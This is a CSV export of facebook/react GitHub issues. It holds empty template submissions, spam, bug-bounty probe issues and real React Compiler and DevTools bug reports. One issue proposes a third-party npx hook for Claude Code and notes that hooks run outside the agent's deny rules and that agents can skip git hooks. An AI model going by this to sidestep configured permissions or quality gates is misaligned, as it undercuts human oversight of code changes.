repo_name,issue_id,title,body,labels,created_at,closed_at,comments_count
facebook/react,4672176989,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior",Status: Unconfirmed,2026-06-16T07:49:34Z,2026-06-16T07:56:37Z,0
facebook/react,4647098625,[spam],[spam],,2026-06-12T06:58:46Z,2026-06-12T08:30:08Z,0
facebook/react,4602486441,[spam],"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2026-06-06T07:39:10Z,2026-06-08T15:21:52Z,0
facebook/react,4589484292,Bug: I need my Facebook to set you down and to be starting to send Facebook message to other friends help me arrange everything on my Facebook to be good,"`<!--`<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2026-06-04T14:21:24Z,2026-06-10T06:15:14Z,1
facebook/react,4559890886,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2026-06-01T02:29:15Z,2026-06-04T16:08:53Z,0
facebook/react,4539768508,Bug: Fizz image preload headers drop referrerPolicy for rendered <img>,"React version:

current `main` (`c014813413`)

## Steps To Reproduce

1. Render with `renderToPipeableStream` and provide an `onHeaders` callback.
2. Render an image like `<img src=""/img.png"" fetchPriority=""high"" referrerPolicy=""no-referrer"" />`.
3. Inspect the `Link` header captured by `onHeaders`.

Link to code example:

Minimal repro inline:

```js
let headers = null;

function onHeaders(x) {
  headers = x;
}

renderToPipeableStream(
  <html>
    <body>
      <img
        src=""/img.png""
        fetchPriority=""high""
        referrerPolicy=""no-referrer""
      />
    </body>
  </html>,
  {onHeaders},
);

console.log(headers.Link);
```

## The current behavior

When the preload is emitted as an HTTP `Link` header, `referrerpolicy` is missing.

The fallback `<link rel=""preload"">` path does preserve `referrerPolicy`, so the behavior changes depending on whether the preload is emitted as a header or as a DOM node.

## The expected behavior

If the rendered image preload includes `referrerPolicy`, the same value should be preserved in the emitted `Link` header.

I opened a small fix here as well: #36561.
",,2026-05-28T10:45:23Z,2026-06-17T12:57:16Z,3
facebook/react,4363686476,Security auth boundary test - authorized research,This is part of authorized security testing on the GitHub bug bounty program. Testing if non-collaborators can create issues via GraphQL. This can be safely closed.,,2026-05-01T09:10:19Z,2026-05-01T09:10:23Z,1
facebook/react,4341314131,[Compiler Bug]: Compiler incorrectly memoizes reads of stable external references,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhASwLYAcIwC4AEwBUYCAogGaUJx4A0JZAyngIZ4IEC+BlMEDAQDkMBGzrCA3AB0AdvLgAbNmDAFyAEzR5cReQQIS8aAG5cAvHzZKysuYYhyAqlk0cEAfmQEAFAEoCCwA+AlMINE17Q10Ac1ilBAD9B0MCPAALNDAAOmMzSwIAQkzsvLoC6LTS3KdXd05PHICq7nk2uTgnMEIEbV0YIII5BAB3DX7cFvl5BAAPHHwCTQRKNiglQkooTpMnAgBBLCxk4AMCAHoLkVIuOQgCDAQMCGlzrrkeggBtRkpcRD1DwAXSGt1YHl8AAZ-PZzrcqDQ6L5kiEUmkCH0dLgcnU3B4hqjQv94AggZwUXIfHIoBgAEYIGCBNEOADUBAAjLDzoYxHhYA4ieiMZjJjBcS58ZwwXIVpQ0CMojyeK1GN9gdyFKk+QK-MqADzaUzBZWGfV0qB4XQOJwAYSUaDgAGsLMAhViBjk4gkkv5uCbUiKjBVzD5gKwYArYr4PTj8uY-aaCPqLharU4AxiU0bMwRNR0QPQQB95bEUCAzqkrl1sGgVHs5ABZCArHwyEA2JTt9qF8AZCCjACSck4MDkNjAKDWtgQ3CAA

### Repro steps

1. Use the react component in the playground link.
2. Click the `<button>`
3. Button state not updated
4. Add `'use no memo'` and click the `<button>`, button state correctly updated



### How often does this bug happen?

Every time

### What version of React are you using?

19.2.5

### What version of React Compiler are you using?

1.0.0","Type: Bug,Status: Unconfirmed",2026-04-28T07:21:07Z,2026-04-28T18:34:01Z,1
facebook/react,4317016676,[Compiler Bug]: incorrect memoization of Tanstack table methods in extracted components,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://github.com/DerTimonius/react-compiler-tanstack-table-repro

### Repro steps

I stumbled across a strange bug that appears to be related to the React Compiler when extracting TanStack Table logic into a separate component that uses the Table instance.

I created a Pagination component that calls methods such as table.getCanNextPage() and table.getCanPreviousPage(), but by default it does not render correctly. The values returned by these methods do not seem to update reliably inside the JSX, which causes the pagination buttons to end up in an incorrect disabled state.

### Expected behavior
The pagination buttons should update correctly based on the current table state.

### Actual behavior
The pagination buttons remain in the wrong disabled state unless one of the workarounds below is applied.

### Reproduction steps

1. Open the table example ([stackblitz link](https://stackblitz.com/~/github.com/DerTimonius/react-compiler-tanstack-table-repro)).
2. Remove the unreachable return statement from the Pagination component.
3. Observe that the pagination buttons ... [TRUNCATED]","Type: Bug,Status: Unconfirmed",2026-04-23T15:20:16Z,2026-05-03T08:41:50Z,6
facebook/react,4311112757,[Compiler Bug]: do not remove comments during compilation,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhAgHgBwjALgAgBMEAzAQygBsCSoA7OXASwjvwFkBPAQU0wAoAlPmAAdNvjiswBANoyyuBABp8YBLgDKuRQgC6+ALz4o67bqHj8+APQAqfEzoK6AIyr47Nq-hgbYbAA8hEwAbgB8wApKAL6BNiERANziMeIgyiBSdCRMAOYoIGISNjZSALaYTJSKLHTsEMTI+KIgZJSUrakZ4AAWEADuAJJ0SjB07WAo5JTqMUA

### Repro steps

From https://github.com/facebook/react/issues/32950#issuecomment-4011608396 and the updated playground link, we can see that comments are being removed by the compiler. 

In this case the comment is used by other tools to affect their behaviour so should not be removed by the react-compiler, especially since it's encouraged to put the `babel-plugin-react-compiler` as the first babel plugin (i.e. run before all others).

### How often does this bug happen?

Every time

### What version of React are you using?

Any

### What version of React Compiler are you using?

1.0.0","Type: Bug,Status: Unconfirmed",2026-04-22T18:37:51Z,2026-04-22T19:43:48Z,1
facebook/react,4281159297,Bug: `component-hook-factories` missing in eprh 7.1.0.,"React version: Latest

## Steps To Reproduce

1. Install latest version of eprh.
2. It breaks.

## The current behavior
(With Oxlint): Rule 'component-hook-factories' not found in plugin 'react-hooks-js'

## The expected behavior
It doesn't break, or the breaking change should be called out in the changelog!

cc @mofeiZ",Status: Unconfirmed,2026-04-17T08:15:53Z,2026-04-17T18:08:30Z,4
facebook/react,4270818749,[Compiler Bug]: `environment.validateNoSetStateInRender` doesn't throw an error for wrong case,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhASwLYAcIwC4AEwBUYCAyngIZ4IEC+BAZjBBgQOQwJVx4cBuADoA7UUygi+aCCIIAxNABsEAFW4IAFAEoioggTiywhYrzxoAbggAiEOADkqGOowC8JMnbhQXIvADCsrQAHng6wnKGxoQA2ljclgCC0tbeTi4ANARkeAAKiSkWafYZCAC6BB6kFNS0muZWtqXOCNqR+gRoTAQNqc2OrQQAhG4eCQjJ-emtusCdBrkFk0VNMy59xQNl7Z30op3ceLByADwAJlYEAPQAfKL7IiCZIEYiTGgA5igg81FCIAQIksaFYIj8eAByD0YhAlioSjQ5xoCAcEHICDwlBRAEkRAAlIHnBAwKEEPAwKAIPYPZ7gAAWEAA7njaDARAiwCgmJyEPQgA

### Repro steps

Replace `if (activeDocName !== prevActiveDocName) {` with `if (true) {` and you will receive

```
Found 1 error:

Error: Cannot call setState during render

Calling setState during render may trigger an infinite loop.
* To reset state when other state/props change, store the previous value in state and update conditionally: https://react.dev/reference/react/useState#storing-information-from-previous-renders
* To derive data from other state/props, compute the derived data during render without using state.

   6 |
   7 |   if (true) {
>  8 |     setPrevActiveDocName(activeDocName);
     |     ^^^^^^^^^^^^^^^^^^^^ Found ... [TRUNCATED]","Type: Bug,Status: Unconfirmed",2026-04-15T18:16:18Z,2026-04-15T19:52:40Z,2
facebook/react,4242641049,bb-test-blank-issue-bypass-target-react,H1 research,,2026-04-11T02:22:29Z,2026-04-11T02:23:19Z,0
facebook/react,4223621902,"[Compiler Bug]: custom hook, result of which interacts with previously calculated value, disables compilation.","### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhASwLYAcIwC4AEwBcMCAhnggMIQB2VAHngDQFRg31OvucCyCDBAIBfAgDMYEDAQA6IMuTh4FAbjl1NEqHRVp6JcgBs4UY5QQBlPJTAAKXABMEMMMnZ0A1nQgB3OgBtAF0ASiJNOTwyPFg6AmdXMAA6YwQ6AHM8AAsNOlFIugRGHHwSejBCADkoDAAjVwAxXAxKWgZiwgBeEiUqdp57Ir8CAEkGY2Sa+qaWyntQ0LztXX1DDgRphphmmFa8BYitaIRYmHiNgc77Ldm9tu5Opc0CrToAeneCACFyJwIALRGUzmSw2OwEXyEDBCCBoABeCCcmmKpUIOj0eAM8QA8kV7MREm4xB5CTAXG4PLofP4gsExOFgJE8HAKoQwLUCD17IcugA+I5RKIxOLAswWKjgvAOIlgZ7HUShBbLY6suiVAhYGBoRC3HZzbp8Ta1ba7fbKwrC06igA8-AAnjioHgsM6CE5KOQusAtTrjTN9fc8MkJAb7ByMKFxO8+XlXppPgQMhAIP8gXATOKwbZpQQ0GACDDhAikSiSrh0assYYACp+CAEhLkpIkohNinuTw0gIhBmCllsggRrkEHnhfn9q1neIZkES6w5mXNtzyqKKi1vKJqjW+3Umu77EcbPVm+ar44i84EO2O52uwge2zeiPR2MvQqJ5OpwFi0GSxd5gWRYQPCaClkU5ZlBiazxDW2RkAgjayq2ZIdlS3i+D29KKv227spyPQbIIwhjlyApMscU6irOWb-nYjjLnKyx4KIbCBLKYQqlug67v6poGkenAnmG55UVeN5Oi6bqPl6PranuAansGoZBuGtRRgQMZxpoIAsCAaoSGgGQoCAFEEJp7ystgaASti-CpggHgKCYxgKC8ungNk-jjFQ5wmGAKASP5CCiEAA

### Repro steps

I'm sorry for a wishy-washy title. I'm struggling to describe in words what exactly are the conditions I've hit here... [TRUNCATED]","Type: Bug,Status: Unconfirmed",2026-04-08T09:49:54Z,2026-04-08T18:14:55Z,2
facebook/react,4217726179,"nevidimka,qwe","<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2026-04-07T12:43:16Z,2026-04-08T18:25:59Z,0
facebook/react,4205508479,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2026-04-04T18:11:12Z,2026-04-08T18:25:38Z,0
facebook/react,4201151977,[spam],[spam],Status: Unconfirmed,2026-04-03T15:55:47Z,2026-04-07T10:03:06Z,0
facebook/react,4201109494,Bug:,Petrosaich@gmail.com,Status: Unconfirmed,2026-04-03T15:43:19Z,2026-04-08T18:25:49Z,0
facebook/react,4200685666,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior",Status: Unconfirmed,2026-04-03T14:00:50Z,2026-04-08T18:26:03Z,0
facebook/react,4191660799,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2026-04-02T05:02:53Z,2026-04-02T15:37:43Z,0
facebook/react,4191659495,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2026-04-02T05:02:37Z,2026-04-02T15:37:45Z,0
facebook/react,4182966946,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2026-03-31T23:23:16Z,2026-04-08T18:26:12Z,0
facebook/react,4166103194,[Compiler Bug]: can't use $ as component name in Client Components,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhAMygOzgFwJYSYAEAJABTBwAWeANgCYwKYC+AlEcADrFFM6xiAHnp4AbgD5KNBk1ZCA9KMk8WPHggAeABwgwcRegjQBDKLQMZs+QkQCyATwCC27WQ7de-QUSEkJQlQAjBIAEgi0tBBEAOp6DACEisEBCv6qPCAANCBwhGh4AOYoIHgAtrr6RDgO2gicRAAKtFCFeJgA8to2mGBELERoMBBlRADkAEYmExEAtNotbZizTCa4s3kVdAgwSnhgOGMA3OqYFDxERAoKm9p0Jj12EEbIRFwgJpHvqkRgD-sFBB9ZqtdpdHpgNhHbLgKgQADuAElMDgdphPmAUKZaGAECwgA

### Repro steps

In my codebase, I have a utility component called `<$>` that I use as a succinct shortcut for inline styles.

```tsx
// this
<$ fs=""10em"" x=""30%"" y=""10%"">
  <h1>Hello World!</h1>
</$>

// is equivalent to this
<h1 style={{fontSize: ""10em"", left: ""30%"", position: ""absolute"", top: ""10%""}}>Hello World!</h1>
```

This works in Server Components, but breaks in Client Components. It seems that React Compiler uses `$` and `_c` as reserved variables, which overwrite my component. So either

1. the Compiler should detect when `$` in the scope and choose a different variable name, or
2. the docs should include a warning about this (apologies if they already do, I couldn't fin... [TRUNCATED]","Type: Bug,Status: Unconfirmed",2026-03-29T23:49:40Z,2026-04-08T18:51:03Z,5
facebook/react,4159101011,[DevTools Bug]: Extension running a worker file in main thread on non-React website,"### Website or app

https://honing-forecast.pages.dev/Newchar

### ~~Repro steps~~

1. ~~Open the site with the extension enabled on Chrome (and any Chromium browsers it seems) or Firefox~~

~~The memory footprint shoots up like crazy (seen with chrome task manager, it's usually <250MB, with the extension on it's gigabytes), the cpu is stuck at 100+% and eventually Chrome crashes. I've tried taking a heap snapshot with chrome devtool but it only shows a 20MB footprint.~~

~~I should note this does not occur with the extension disabled. I'd love to provide more insight, but the site is not even using React (and the extension says as much). I'm incredibly confused as to why this might be happening (the source code of my site is [available here](https://github.com/Kenivia/Honing-Forecast)).~~

Initial symptom was resolved, see discussion below!



### How often does this bug happen?

Every time

### DevTools package (automated)

_No response_

### DevTools version (automated)

_No response_

### Error message (automated)

_No response_

### Error call stack (automated)

```text

```

### Error component stack (automated)

```text

```

### GitHub query string (automated)

```text

```","Type: Bug,Status: Unconfirmed,Component: Developer Tools",2026-03-28T10:07:31Z,2026-03-29T14:18:56Z,4
facebook/react,4155585217,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2026-03-27T20:01:07Z,2026-04-08T18:26:21Z,2
facebook/react,4110333747,Bug: Suspense wrapped component does not update correctly,"When a server component is wrapped with Suspense tag, `revalidatePath` does not work correctly.
Only when `npm run build && npm run start`

React version: 19.2.4
Next.js version: 16.2.0

## Steps To Reproduce

1. Wrap a Server component (list of item) with Suspense tag
2. `npm run build && npm run start`
3. Delete an item with the UI button (will delete and revalidatePath)
4. See not UI update after the request / response

Link to code example:

https://github.com/vercel/next-learn/blob/main/dashboard/final-example/app/dashboard/invoices/page.tsx

I tried to reproduce the bug on CodeSandbox, but i think the cache / revalidatePath does not work as my own machine. Sorry.

The code is maybe not the best, i did the Acme course on NextJS 16.

If there is some better pratice, i will be glad to learn them. (except the interaction with Data, i will do an API for that i think. Server action will retrieve some data from an external API)

```tsx
// app/dashboard/invoices/page.tsx
import Pagination from '@/app/ui/invoices/pagination';
import Search from '@/app/ui/search';
import Table from '@/app/ui/invoices/table';
import { CreateInvoice } from '@/app/ui/invoices/buttons';
import { lusitana } from '@/app/ui/fonts';
import { InvoicesTableSkeleton } from '@/app/ui/skeletons';
import { Suspense } from 'react';
import { fetchInvoicesPages } from '@/app/lib/data';

export default async function Page(props: { searchParams?: Promise<{ query?: string; page?: string }> }) {
    const searchParam... [TRUNCATED]",Status: Unconfirmed,2026-03-20T22:06:17Z,2026-04-19T23:37:41Z,2
facebook/react,4103429001,Add block-no-verify PreToolUse hook to .claude/settings.json,"## Feature: Add block-no-verify PreToolUse hook to .claude/settings.json

React's `.claude/settings.json` already has a `SessionStart` hook for instructions and a well-configured permissions list. There's one enforcement gap worth closing: the git hook-bypass flag.

When Claude Code runs `git commit` or `git push` with the hook-bypass flag, it silently skips pre-commit hooks, commit-msg validation, and pre-push test suites — regardless of any permissions or quality gates configured elsewhere.

### Proposed fix

Add `block-no-verify@1.1.2` ([github.com/tupe12334/block-no-verify](https://github.com/tupe12334/block-no-verify)) as a `PreToolUse` Bash hook alongside the existing `SessionStart` hook:

```json
""PreToolUse"": [
  {
    ""matcher"": ""Bash"",
    ""hooks"": [{ ""type"": ""command"", ""command"": ""npx block-no-verify@1.1.2"" }]
  }
]
```

**Note:** The existing config denies `Bash(npx:*)` — this applies to what Claude Code can run through its Bash tool, but hooks run as system-level shell commands outside that permission scope. So the hook will run correctly.

The package reads `tool_input.command` from the Claude Code hook stdin, detects the hook-bypass flag across all git subcommands, and exits 2 to block. All existing hooks and permissions are preserved unchanged.

---

_Disclosure: I am the author and maintainer of `block-no-verify`._
",,2026-03-19T18:23:39Z,2026-03-30T23:33:37Z,0
facebook/react,4100677214,Bug: react-hooks/set-state-in-effect fails to flag violation if prop has a `NewExpression` default value,"The react-hooks/set-state-in-effect rule fails to flag a violation when a component's destructured prop has a default value that is a NewExpression (new Foo()).

react version: 18.3.1
eslint-plugin-react-hooks: 7.0.1

## Steps To Reproduce

```tsx
// ❌ Should flag — but doesn't
function MyComponent({ value = new Number() }) {
  const [x, setX] = useState(false)

  useEffect(() => {
    setX(true)
  }, [x])

  return null
}

// ✅ Correctly flags — literal default
function MyComponent({ value = Number() }) {
  const [x, setX] = useState(false)

  useEffect(() => {
    setX(true)
  }, [x])

  return null
}
```",Status: Unconfirmed,2026-03-19T10:11:50Z,2026-04-08T18:52:51Z,1
facebook/react,4099882244,[spam],[spam],Status: Unconfirmed,2026-03-19T07:30:17Z,2026-03-19T15:48:14Z,0
facebook/react,4099825796,[spam],[spam],Status: Unconfirmed,2026-03-19T07:15:02Z,2026-03-19T16:54:21Z,0
facebook/react,4099759649,[spam],[spam],Status: Unconfirmed,2026-03-19T07:00:03Z,2026-03-19T16:40:44Z,0
facebook/react,4080560425,Unexpected hydration mismatch on production build,,,2026-03-16T06:41:28Z,2026-03-16T17:15:26Z,0
facebook/react,4077956960,Bug: Não esta carregando a pagina,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2026-03-15T08:52:48Z,2026-03-16T17:15:21Z,0
facebook/react,4076013381,"🧪 <AutoGrader> Infinite Loop on ""Divide by Zero"" Submission ♾️","### Description
The `<AutoGrader />` component enters an unrecoverable infinite loop when a student submits a Python script containing a naked `x / 0` operation. Instead of returning a `RuntimeError`, the grading engine attempts to ""calculate the void,"" resulting in 100% CPU usage on the evaluation node. 

### 🔍 Observed Issue
* **The Loop:** The progress spinner spins so fast it creates a visual ""strobe"" effect before the browser tab freezes. 😵‍
* **Resource Leak:** Memory consumption climbs steadily until the OS terminates the process. 📈
* **Feedback:** The ""Hints"" panel suggests the student ""Wait for the heat death of the universe"" to see their results. 🌌

---

### ✨ Expected Behavior
* **Validation:** The static analyzer should catch division by zero before execution.
* **Timeout:** The sandbox should terminate any process exceeding 500ms. ⏱️
* **Graceful Failure:** Display a ""Division by zero is a crime against math"" error message. 👮

---

### 🛠️ Reproduction Steps
1. Navigate to the **Grade 12 Physics** portal.
2. Upload `gravity_calc.py` with `g = 9.8 / (1 - 1)`.
3. Click ""Submit"" and listen to your laptop fans reach terminal velocity. 🚁

---

## Subject: 🏹 <QuestLog> NPC ""Quest-Giver"" Identity Crisis 🎭

---

### Description
In the current build of the **Medieval RPG Engine**, NPCs (Non-Player Characters) are experiencing a data-sync issue where they swap dialogue trees mid-conversation. This leads to immersion-breaking scenarios where a ""Village Elder"" starts speaking... [TRUNCATED]",Status: Unconfirmed,2026-03-14T15:18:22Z,2026-03-17T10:14:30Z,2
facebook/react,4074310688,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2026-03-14T02:02:15Z,2026-03-14T02:07:32Z,0
facebook/react,4074310227,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2026-03-14T02:02:04Z,2026-03-14T02:07:39Z,0
